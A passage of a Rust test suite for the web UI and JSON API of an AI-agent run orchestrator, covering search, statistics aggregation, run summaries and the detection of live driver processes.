11123 assert!(hit_len(&parts) > 0, "{parts:?}");
11124 assert!(total(&parts) <= cap);
11125
11126 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11128 let term = format!("ab{}", "c".repeat(100));
11129 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11130 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11131 assert!(total(&parts) <= cap);
11132
11133 let text = format!("{}z", "a".repeat(119));
11135 let parts = snippet_of(&text, &["a".repeat(120)]);
11136 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11137 }
11138
11139 #[tokio::test]
11140 async fn search_caps_hits_and_snippet_length() {
11141 let f = Fixture::start().await;
11142 let runs = f.runs();
11143 for n in 0..(SEARCH_MAX_HITS + 5) {
11144 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11145 }
11146 let v = f.get("/api/search?scope=runs&q=web").await.json();
11147 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11148 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11149 assert_eq!(v["truncated"], true);
11150 assert!(
11152 v["hits"]
11153 .as_array()
11154 .unwrap()
11155 .iter()
11156 .all(|h| h["run"]["status"] == "merged")
11157 );
11158
11159 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11160 let parts = snippet_of(&long, &["needle".to_owned()]);
11161 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11162 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11163 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11164 }
11165
11166 #[tokio::test]
11167 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11168 let f = Fixture::start().await;
11169 let queue = f.queue();
11170 let mut t = Task::new(
11171 "short title".to_owned(),
11172 "line one\nthe hidden Armadillo detail".to_owned(),
11173 PathBuf::from("/repo/magi"),
11174 Source::Agent {
11175 run: "r1".to_owned(),
11176 node: "chat".to_owned(),
11177 },
11178 );
11179 t.last_error = Some("disk full on /tmp".to_owned());
11180 queue.put(&mut t).expect("file the task");
11181
11182 for (q, want) in [
11183 ("armadillo", 1),
11184 ("disk%20FULL", 1),
11185 ("chat", 1),
11186 ("queued", 1),
11187 ("short%20nothing", 0),
11188 ] {
11189 let v = f
11190 .get(&format!("/api/search?scope=tasks&q={q}"))
11191 .await
11192 .json();
11193 assert_eq!(v["total"], want, "{q}: {v}");
11194 }
11195 for bad in [
11196 "/api/search?scope=tasks&q=",
11197 "/api/search?scope=tasks&q=%20",
11198 "/api/search?scope=chats&q=",
11199 "/api/search?scope=chats&q=%20",
11200 "/api/search?scope=nope&q=a",
11201 "/api/search?q=a",
11202 ] {
11203 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11204 }
11205 }
11206
11207 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11209 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11210 .expect("seat value");
11211 let turns: Vec<serde_json::Value> = turns
11212 .iter()
11213 .map(|(who, body)| {
11214 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11215 })
11216 .collect();
11217 let doc = serde_json::json!({
11218 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11219 "status": status, "turns": turns,
11220 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11221 "seat": seat,
11222 });
11223 let dir = f.home.path().join("talks");
11224 std::fs::create_dir_all(&dir).expect("talks dir");
11225 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11226 }
11227
11228 #[tokio::test]
11229 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11230 let f = Fixture::start().await;
11231 write_talk(
11232 &f,
11233 "20260901-000001-aaaa",
11234 "open",
11235 &[
11236 (
11237 "operator",
11238 "\n Why does the Pangolin cache expire?\nsecond line",
11239 ),
11240 ("agent", "Because the TTL is thirty seconds."),
11241 ],
11242 );
11243 write_talk(
11244 &f,
11245 "20260901-000002-bbbb",
11246 "closed",
11247 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11248 );
11249 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11250
11251 let search = |q: &'static str| {
11252 let f = &f;
11253 async move {
11254 f.get(&format!("/api/search?scope=chats&q={q}"))
11255 .await
11256 .json()
11257 }
11258 };
11259
11260 let v = search("PANGOLIN").await;
11261 assert_eq!(v["scope"], "chats");
11262 assert_eq!(v["total"], 1, "{v}");
11263 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11264 assert_eq!(v["hits"][0]["field"], "title");
11265 assert_eq!(v["unreadable"], 1, "{v}");
11266 let marked: Vec<&str> = v["hits"][0]["snippet"]
11267 .as_array()
11268 .unwrap()
11269 .iter()
11270 .filter(|p| p["hit"] == true)
11271 .map(|p| p["text"].as_str().unwrap())
11272 .collect();
11273 assert_eq!(marked, ["Pangolin"]);
11274
11275 let v = search("zebra").await;
11277 assert_eq!(v["total"], 1, "{v}");
11278 assert_eq!(v["hits"][0]["field"], "agent");
11279 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11281 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11282 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11284 assert_eq!(search(q).await["total"], 0, "{q}");
11285 }
11286 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11288 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11290
11291 let v = f.get("/api/search?scope=nope&q=a").await;
11292 assert_eq!(v.status, 400);
11293 assert!(
11294 v.body.contains("scope must be runs, tasks or chats"),
11295 "{}",
11296 v.body
11297 );
11298 }
11299
11300 #[test]
11301 fn a_question_card_links_a_task_id_to_the_task_page() {
11302 let start = APP_JS
11303 .find("function updateAskCard(")
11304 .expect("updateAskCard exists");
11305 let body = &APP_JS[start..];
11306 let body = &body[..body.find("\n}\n").expect("function end")];
11307 assert!(body.contains("question.run_is_task"));
11308 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11309 assert!(body.contains("`#/runs/${question.run}`"));
11310 assert!(body.contains("\"task\" : \"run\""));
11311 }
11312
11313 #[test]
11314 fn stats_bars_share_one_id_keyed_plan() {
11315 let start = APP_JS
11316 .find("function statsBarRows(")
11317 .expect("statsBarRows exists");
11318 let body = &APP_JS[start..];
11319 let body = &body[..body.find("\n}\n").expect("function end")];
11320 assert!(body.contains("statsBarPlan(rows)"));
11321 assert!(body.contains("statsAgentTone(row.agent)"));
11322 assert!(!body.contains("candTone(i)"));
11323 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11324 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11325 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11326 }
11327 }
11328
11329 #[test]
11330 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11331 let start = APP_JS
11332 .find("function renderStatsReviewerScatter(")
11333 .expect("renderStatsReviewerScatter exists");
11334 let body = &APP_JS[start..];
11335 let body = &body[..body.find("\n}\n").expect("function end")];
11336 assert!(body.contains("statsScatterPlan(reviewers)"));
11337 assert!(body.contains("statsAgentTone(d.agent)"));
11338 assert!(APP_JS.contains("function statsScatterPlan("));
11339 assert!(
11340 APP_JS.contains("d.submitted < STATS_LOW_N")
11341 || APP_JS.contains("r.submitted < STATS_LOW_N")
11342 );
11343 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11344 assert!(APP_CSS.contains(".precision-scatter"));
11345 }
11346
11347 #[test]
11348 fn advisor_reflection_is_drawn_as_stacked_segments() {
11349 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11350 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11351 let html = include_str!("../assets/ui/index.html");
11352 assert!(html.contains("Approximate"));
11353 for label in ["reflected strongly", "faint", "no proposal"] {
11354 assert!(html.contains(label));
11355 }
11356 let css = include_str!("../assets/ui/app.css");
11357 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11358 assert!(css.contains(&format!(".{c} {{")));
11359 }
11360 }
11361
11362 #[test]
11363 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11364 assert!(APP_JS.contains("function statsDailyPlan("));
11365 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11366 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11367 }
11368
11369 #[test]
11370 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11371 let start = APP_JS
11372 .find("function scheduleSearch(")
11373 .expect("scheduleSearch exists");
11374 let body = &APP_JS[start..];
11375 let body = &body[..body.find("\n}\n").expect("function end")];
11376 assert!(body.contains("s.seq += 1"));
11377 }
11378
11379 #[tokio::test]
11384 async fn stats_runs_unreadable_matches_health() {
11385 let f = Fixture::start().await;
11386 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11387 let broken = f.runs().join("20260902-140502-bad");
11388 std::fs::create_dir_all(&broken).expect("run dir");
11389 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11390
11391 let stats = f.get("/api/stats").await;
11392 let health = f.get("/api/health").await;
11393
11394 assert_eq!(stats.status, 200);
11395 assert_eq!(stats.json()["totals"]["runs"], 1);
11396 assert_eq!(stats.json()["runs_unreadable"], 1);
11397 assert_eq!(
11398 stats.json()["runs_unreadable"],
11399 health.json()["runs_unreadable"],
11400 "the dashboard and /api/health must never disagree about how many \
11401 runs could not be read"
11402 );
11403 }
11404
11405 #[tokio::test]
11406 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11407 let f = Fixture::start().await;
11408 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11409 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11410 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11411
11412 let totals = &f.get("/api/stats").await.json()["totals"];
11413 assert_eq!(totals["runs"], 3);
11414 assert_eq!(totals["merged"], 1);
11415 assert_eq!(totals["stalled"], 1);
11416 assert_eq!(totals["in_progress"], 1);
11417 assert_eq!(totals["blocked"], 0);
11420 assert_eq!(totals["ready"], 0);
11421 }
11422
11423 #[tokio::test]
11424 async fn stats_advisors_report_proposals_and_reflection() {
11425 use crate::advise::{Advice, AdvisorRecord, Reflection};
11426 use crate::verdict::Proposal;
11427
11428 let f = Fixture::start().await;
11429 let mut state = RunState::new(
11430 PathBuf::from("/repo/magi"),
11431 "main".to_owned(),
11432 "0123456789abcdef".to_owned(),
11433 "task".to_owned(),
11434 Config::default(),
11435 );
11436 state.id = "20260902-140501-a".to_owned();
11437 state.status = RunStatus::Merged;
11438 state.advice = Some(Advice {
11439 records: vec![
11440 AdvisorRecord {
11441 seat: "advisor-1".to_owned(),
11442 agent: "alpha".to_owned(),
11443 proposal: Some(Proposal {
11444 approach: "do it".to_owned(),
11445 key_tradeoff: "speed over memory".to_owned(),
11446 risks: Vec::new(),
11447 touches: Vec::new(),
11448 why_not_naive: "breaks under load".to_owned(),
11449 }),
11450 error: None,
11451 duration_ms: 0,
11452 reflection: Reflection::Strong,
11453 },
11454 AdvisorRecord {
11455 seat: "advisor-2".to_owned(),
11456 agent: "alpha".to_owned(),
11457 proposal: None,
11458 error: Some("timed out".to_owned()),
11459 duration_ms: 0,
11460 reflection: Reflection::Absent,
11461 },
11462 ],
11463 synthesis: Some("blended brief".to_owned()),
11464 });
11465 let dir = f.runs().join(&state.id);
11466 std::fs::create_dir_all(&dir).expect("run dir");
11467 std::fs::write(
11468 dir.join("run.json"),
11469 serde_json::to_string_pretty(&state).expect("serialize run"),
11470 )
11471 .expect("write run.json");
11472
11473 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11474 let alpha = advisors
11475 .as_array()
11476 .expect("an array")
11477 .iter()
11478 .find(|a| a["agent"] == "alpha")
11479 .expect("alpha row");
11480 assert_eq!(alpha["seated"], 2);
11481 assert_eq!(alpha["proposed"], 1);
11482 assert_eq!(alpha["absent"], 1);
11483 assert_eq!(alpha["strong"], 1);
11484 assert_eq!(alpha["faint"], 0);
11485 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11486 }
11487
11488 #[tokio::test]
11489 async fn stats_release_bumps_split_clean_from_attention() {
11490 use crate::run::ReleaseBump;
11491
11492 let f = Fixture::start().await;
11493
11494 let mut clean = RunState::new(
11495 PathBuf::from("/repo/magi"),
11496 "main".to_owned(),
11497 "0123456789abcdef".to_owned(),
11498 "task".to_owned(),
11499 Config::default(),
11500 );
11501 clean.id = "20260902-140501-a".to_owned();
11502 clean.status = RunStatus::Merged;
11503 clean.release_bump = Some(ReleaseBump {
11504 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11505 version: Some("1.0.0".to_owned()),
11506 automerge_enabled: true,
11507 merged_directly: false,
11508 local: false,
11509 release: None,
11510 problem: None,
11511 action_required: None,
11512 });
11513
11514 let mut blocked = RunState::new(
11515 PathBuf::from("/repo/magi"),
11516 "main".to_owned(),
11517 "0123456789abcdef".to_owned(),
11518 "task".to_owned(),
11519 Config::default(),
11520 );
11521 blocked.id = "20260902-140502-b".to_owned();
11522 blocked.status = RunStatus::Merged;
11523 blocked.release_bump = Some(ReleaseBump {
11524 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11525 version: Some("1.0.1".to_owned()),
11526 automerge_enabled: false,
11527 merged_directly: false,
11528 local: false,
11529 release: None,
11530 problem: Some("checks red".to_owned()),
11531 action_required: Some("look at the PR".to_owned()),
11532 });
11533
11534 for state in [&clean, &blocked] {
11535 let dir = f.runs().join(&state.id);
11536 std::fs::create_dir_all(&dir).expect("run dir");
11537 std::fs::write(
11538 dir.join("run.json"),
11539 serde_json::to_string_pretty(state).expect("serialize run"),
11540 )
11541 .expect("write run.json");
11542 }
11543
11544 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11545 assert_eq!(bumps["merged"], 2);
11546 assert_eq!(bumps["recorded"], 2);
11547 assert_eq!(bumps["pr_opened"], 2);
11548 assert_eq!(bumps["automerge_enabled"], 1);
11549 assert_eq!(bumps["needs_attention"], 1);
11550 assert_eq!(bumps["clean"], 1);
11551 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11552 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11553 }
11554
11555 #[tokio::test]
11556 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11557 let f = Fixture::start().await;
11558 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11559
11560 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11561 assert_eq!(bumps["merged"], 1);
11562 assert_eq!(bumps["recorded"], 0);
11563 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11566 assert_eq!(bumps["automerge_rate"], Value::Null);
11569 assert_eq!(bumps["attention_rate"], Value::Null);
11570 }
11571
11572 #[tokio::test]
11573 async fn stats_queue_counts_come_from_the_live_queue() {
11574 let f = Fixture::start().await;
11575 let q = f.queue();
11576 let mut queued = Task::new(
11577 "queued task".to_owned(),
11578 "do it".to_owned(),
11579 PathBuf::from("/repo"),
11580 Source::Human,
11581 );
11582 q.put(&mut queued).expect("put queued");
11583 let mut held = Task::new(
11584 "held task".to_owned(),
11585 "do it later".to_owned(),
11586 PathBuf::from("/repo"),
11587 Source::Human,
11588 );
11589 held.hold_machine(Some("out of attempts".to_owned()));
11590 q.put(&mut held).expect("put held");
11591
11592 let queue = f.get("/api/stats").await.json()["queue"].clone();
11593 assert_eq!(queue["queued"], 1);
11594 assert_eq!(queue["held"], 1);
11595 assert_eq!(queue["running"], 0);
11596 assert_eq!(queue["done"], 0);
11597 assert_eq!(queue["failed"], 0);
11598 assert_eq!(queue["blocked"], 0);
11599 }
11600
11601 #[tokio::test]
11602 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11603 let f = Fixture::start().await;
11604 let stats = f.get("/api/stats").await;
11605 assert_eq!(stats.status, 200);
11606 assert_eq!(stats.json()["totals"]["runs"], 0);
11607 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11608 assert_eq!(stats.json()["runs_unreadable"], 0);
11609 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11610 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11611 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11612 assert_eq!(stats.json()["repo"], Value::Null);
11613 }
11614
11615 #[tokio::test]
11616 async fn stats_lists_every_repository_with_runs_recorded() {
11617 let f = Fixture::start().await;
11618 write_run_repo(
11619 &f.runs(),
11620 "20260902-140501-a",
11621 RunStatus::Merged,
11622 "/repos/a",
11623 );
11624 write_run_repo(
11625 &f.runs(),
11626 "20260902-140502-b",
11627 RunStatus::Merged,
11628 "/repos/a",
11629 );
11630 write_run_repo(
11631 &f.runs(),
11632 "20260902-140503-c",
11633 RunStatus::Blocked,
11634 "/repos/b",
11635 );
11636
11637 let stats = f.get("/api/stats").await;
11638 assert_eq!(stats.status, 200);
11639 assert_eq!(stats.json()["totals"]["runs"], 3);
11641 assert_eq!(stats.json()["repo"], Value::Null);
11642
11643 let repos = stats.json()["repos"].clone();
11644 let repos = repos.as_array().unwrap();
11645 assert_eq!(repos.len(), 2);
11646 assert_eq!(repos[0]["repo"], "/repos/a");
11648 assert_eq!(repos[0]["name"], "a");
11649 assert_eq!(repos[0]["runs"], 2);
11650 assert_eq!(repos[1]["repo"], "/repos/b");
11651 assert_eq!(repos[1]["runs"], 1);
11652 }
11653
11654 #[tokio::test]
11655 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11656 let f = Fixture::start().await;
11657 write_run_repo(
11658 &f.runs(),
11659 "20260902-140501-a",
11660 RunStatus::Merged,
11661 "/repos/a",
11662 );
11663 write_run_repo(
11664 &f.runs(),
11665 "20260902-140502-b",
11666 RunStatus::Blocked,
11667 "/repos/b",
11668 );
11669
11670 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11671 assert_eq!(stats.status, 200);
11672 assert_eq!(stats.json()["totals"]["runs"], 1);
11673 assert_eq!(stats.json()["totals"]["merged"], 1);
11674 assert_eq!(stats.json()["repo"], "/repos/a");
11675 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11678 assert_eq!(stats.json()["runs_unreadable"], 0);
11681 }
11682
11683 #[tokio::test]
11684 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11685 let f = Fixture::start().await;
11686 write_run_repo(
11687 &f.runs(),
11688 "20260902-140501-a",
11689 RunStatus::Merged,
11690 "/repos/a",
11691 );
11692 write_run_repo(
11693 &f.runs(),
11694 "20260902-140502-b",
11695 RunStatus::Merged,
11696 "/repos/b",
11697 );
11698
11699 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11700 let json = f.get(uri).await.json();
11701 let daily = json["daily"].as_array().expect("daily is an array");
11702 assert_eq!(daily.len(), 30);
11703 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11704 let mut sorted = dates.clone();
11705 sorted.sort();
11706 assert_eq!(dates, sorted);
11707 for d in daily {
11708 assert_eq!(
11709 d["merged"].as_u64().unwrap()
11710 + d["ready"].as_u64().unwrap()
11711 + d["other"].as_u64().unwrap(),
11712 d["runs"].as_u64().unwrap()
11713 );
11714 }
11715 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11716 }
11717 }
11718
11719 #[tokio::test]
11720 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11721 let f = Fixture::start().await;
11722 write_run_repo(
11723 &f.runs(),
11724 "20260902-140501-a",
11725 RunStatus::Merged,
11726 "/repos/a",
11727 );
11728
11729 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11730 assert_eq!(stats.status, 404);
11731 }
11732
11733 #[tokio::test]
11734 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11735 let f = Fixture::start().await;
11736 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11737
11738 let summary = f.get("/api/runs").await.json();
11739 let row = &summary[0];
11740 assert_eq!(row["short"], "a1b2");
11741 assert_eq!(row["status"], "ready");
11742 assert_eq!(row["done"], true);
11743 assert_eq!(row["title"], "Add a web UI");
11744 assert_eq!(row["repo_name"], "magi");
11745 assert_eq!(row["judges"], 3);
11746 assert_eq!(row["winner"], Value::Null);
11747 assert_eq!(row["reviews"], 0);
11748
11749 let detail = f.get("/api/runs/a1b2").await;
11752 assert_eq!(detail.status, 200);
11753 assert_eq!(detail.json()["base_branch"], "main");
11754 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11755 }
11756
11757 #[tokio::test]
11765 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11766 let f = Fixture::start().await;
11767
11768 let mut none_run = RunState::new(
11769 PathBuf::from("/repo/magi"),
11770 "main".to_owned(),
11771 "0123456789abcdef".to_owned(),
11772 "Add a web UI".to_owned(),
11773 Config::default(),
11774 );
11775 none_run.id = "20260902-140503-none".to_owned();
11776 none_run.status = RunStatus::Ready;
11777 none_run.merge = Some(crate::run::MergeOutcome {
11778 mode: crate::config::MergeMode::None,
11779 ok: true,
11780 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11781 empty: false,
11782 });
11783 write_state(&f.runs(), &none_run);
11784
11785 let mut pr_run = RunState::new(
11786 PathBuf::from("/repo/magi"),
11787 "main".to_owned(),
11788 "0123456789abcdef".to_owned(),
11789 "Add a web UI".to_owned(),
11790 Config::default(),
11791 );
11792 pr_run.id = "20260902-140504-prcl".to_owned();
11793 pr_run.status = RunStatus::Ready;
11794 pr_run.merge = Some(crate::run::MergeOutcome {
11795 mode: crate::config::MergeMode::Pr,
11796 ok: false,
11797 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11798 empty: false,
11799 });
11800 write_state(&f.runs(), &pr_run);
11801
11802 let summary = f.get("/api/runs").await.json();
11803 let rows: std::collections::HashMap<&str, &Value> = summary
11804 .as_array()
11805 .expect("an array")
11806 .iter()
11807 .map(|r| (r["id"].as_str().expect("an id"), r))
11808 .collect();
11809 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11810 assert_eq!(
11811 rows[none_run.id.as_str()]["unmerged_by_design"],
11812 true,
11813 "a mode-none Ready must be flagged in the list"
11814 );
11815 assert_eq!(
11816 rows[pr_run.id.as_str()]["unmerged_by_design"],
11817 false,
11818 "a Ready reached by a closed pull request is a different case"
11819 );
11820
11821 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11822 assert_eq!(none_detail["status"], "ready");
11823 assert_eq!(none_detail["unmerged_by_design"], true);
11824
11825 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11826 assert_eq!(pr_detail["unmerged_by_design"], false);
11827 }
11828
11829 #[tokio::test]
11834 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11835 let f = Fixture::start().await;
11836 let id = "20260902-140502-bbbb";
11840 let mut state = RunState::new(
11841 PathBuf::from("/repo/magi"),
11842 "main".to_owned(),
11843 "0123456789abcdef".to_owned(),
11844 "Add a web UI".to_owned(),
11845 Config::default(),
11846 );
11847 state.id = id.to_owned();
11848 state.status = RunStatus::Judging;
11849 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11850 let dir = f.runs().join(id);
11851 std::fs::create_dir_all(&dir).expect("run dir");
11852 std::fs::write(
11853 dir.join("run.json"),
11854 serde_json::to_string_pretty(&state).expect("serialize run"),
11855 )
11856 .expect("write run.json");
11857
11858 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11864 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11865 assert_eq!(cold["live"], "unknown", "{cold}");
11866
11867 write_daemon(f.home.path(), Timestamp::now());
11870 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11871 assert_eq!(warm["live"], "live", "{warm}");
11872 }
11873
11874 #[tokio::test]
11877 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11878 let f = Fixture::start().await;
11879 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11880 let mut state = RunState::new(
11881 PathBuf::from("/repo/magi"),
11882 "main".to_owned(),
11883 "0123456789abcdef".to_owned(),
11884 "Add a web UI".to_owned(),
11885 Config::default(),
11886 );
11887 state.id = id.to_owned();
11888 state.origin = origin;
11889 let mut value = serde_json::to_value(&state).expect("serialize run");
11890 if let Some(schema) = schema {
11891 value["schema"] = serde_json::json!(schema);
11892 value.as_object_mut().unwrap().remove("origin");
11893 }
11894 let dir = f.runs().join(id);
11895 std::fs::create_dir_all(&dir).expect("run dir");
11896 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11897 };
11898 write(
11899 "20260930-092817-ec34",
11900 Some(crate::run::Origin::from_agent_env(
11901 Some(("4a7b".to_owned(), "chat".to_owned())),
11902 None,
11903 )),
11904 None,
11905 );
11906 write("20260930-092817-0ld1", None, Some(12));
11907
11908 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11909 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11910 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11911
11912 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11913 assert_eq!(
11914 old["origin_label"], "origin unknown (started before origins were recorded)",
11915 "{old}"
11916 );
11917 assert!(old["origin"].is_null(), "{old}");
11918
11919 let list = f.get("/api/runs").await.json();
11920 let labels: Vec<_> = list
11921 .as_array()
11922 .unwrap()
11923 .iter()
11924 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11925 .collect();
11926 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11927 }
11928
11929 #[tokio::test]
11936 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11937 let f = Fixture::start().await;
11938 let id = "20260922-090000-cccc";
11939 let mut state = RunState::new(
11940 PathBuf::from("/repo/magi"),
11941 "main".to_owned(),
11942 "0123456789abcdef".to_owned(),
11943 "Review only".to_owned(),
11944 Config::default(),
11945 );
11946 state.id = id.to_owned();
11947 state.status = RunStatus::Reviewing;
11948 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11949 state.driver_pid = Some(std::process::id());
11955 state.driver_started_at = Some(
11956 crate::proc::process_started_at(std::process::id())
11957 .expect("this test process's own start time must be queryable"),
11958 );
11959 let dir = f.runs().join(id);
11960 std::fs::create_dir_all(&dir).expect("run dir");
11961 std::fs::write(
11962 dir.join("run.json"),
11963 serde_json::to_string_pretty(&state).expect("serialize run"),
11964 )
11965 .expect("write run.json");
11966
11967 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11968 assert_eq!(detail["live"], "live", "{detail}");
11969 }
11970
11971 #[tokio::test]
11977 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11978 let f = Fixture::start().await;
11979 let id = "20260922-090100-dddd";
11980 let mut state = RunState::new(
11981 PathBuf::from("/repo/magi"),
11982 "main".to_owned(),
11983 "0123456789abcdef".to_owned(),
11984 "Review only".to_owned(),
11985 Config::default(),
11986 );
11987 state.id = id.to_owned();
11988 state.status = RunStatus::Reviewing;
11989 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11990 state.driver_pid = Some(std::process::id());
11995 state.driver_started_at = Some("1".to_owned());
11996 let dir = f.runs().join(id);
11997 std::fs::create_dir_all(&dir).expect("run dir");
11998 std::fs::write(
11999 dir.join("run.json"),
12000 serde_json::to_string_pretty(&state).expect("serialize run"),
12001 )
12002 .expect("write run.json");
12003
12004 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12005 assert_eq!(detail["live"], "dead", "{detail}");
12006 }
12007
12008 #[test]
12012 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12013 let mk = |id: &str, pid: Option<u32>| {
12014 let mut s = RunState::new(
12015 PathBuf::from("/repo/magi"),
12016 "main".to_owned(),
12017 "0123456789abcdef".to_owned(),
12018 "Add a web UI".to_owned(),
12019 Config::default(),
12020 );
12021 s.id = id.to_owned();
12022 s.driver_pid = pid;
12023 s.driver_started_at = Some("1790000000".to_owned());
12024 s
12025 };
12026 let states = vec![
12027 mk("20260902-140502-aaaa", Some(77)),
12028 mk("20260902-140502-bbbb", Some(77)),
12029 mk("20260902-140502-cccc", Some(77)),
12030 mk("20260902-140502-dddd", None),
12031 ];
12032 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12033 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12034 let sup: HashMap<String, String> = [(
12035 "20260902-140502-aaaa".to_owned(),
12036 "20260902-140502-cccc".to_owned(),
12037 )]
12038 .into();
12039
12040 let status_calls = std::cell::Cell::new(0);
12041 let identity_calls = std::cell::Cell::new(0);
12042 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12043 |_| {
12044 status_calls.set(status_calls.get() + 1);
12045 Some(true)
12046 },
12047 |_| {
12048 identity_calls.set(identity_calls.get() + 1);
12049 Some("1790000000".to_owned())
12050 },
12051 ));
12052 let rows = summarize(
12053 states,
12054 &open,
12055 &claimed,
12056 &sup,
12057 |p| probe.borrow_mut().status(p),
12058 |p| probe.borrow_mut().started_at(p),
12059 );
12060
12061 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12062 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12063 assert_eq!(rows.len(), 4);
12064 assert!(!rows[0].waiting && rows[1].waiting);
12065 assert_eq!(rows[0].live, crate::run::Liveness::Live);
